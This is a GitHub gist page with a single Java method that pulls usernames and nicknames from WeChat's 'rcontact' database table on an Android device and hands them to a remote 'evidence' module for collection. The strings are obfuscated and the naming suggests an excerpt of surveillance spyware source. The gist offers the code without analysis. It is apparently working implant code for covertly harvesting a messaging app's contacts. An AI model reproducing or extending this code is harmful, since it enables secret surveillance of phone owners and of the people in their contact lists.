Skip to content

Instantly share code, notes, and snippets.

@peterclemenko
Created July 17, 2015 21:16
Show Gist options
  • Save peterclemenko/66c953da86c79ee9bf8a to your computer and use it in GitHub Desktop.
Save peterclemenko/66c953da86c79ee9bf8a to your computer and use it in GitHub Desktop.
private void saveWechatContacts(GenericSqliteHelper helper) {
String[] projection = new String[] { M.e("username"), M.e("nickname")};
boolean tosave = false;
RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) {
@Override
public long cursor(Cursor cursor) {
String username = cursor.getString(0);
String nick = cursor.getString(1);
Contact c = new Contact(username, username, nick, "");
if (username != null && username.startsWith( M.e("wxid"))) {
if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.WECHAT, c)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) need to serialize");
}
return 1;
}
}
return 0;
}
};
if (helper.traverseRecords( M.e("rcontact"), visitor) == 1) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveWeChatContacts) serialize");
}
ModuleAddressBook.getInstance().serializeContacts();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment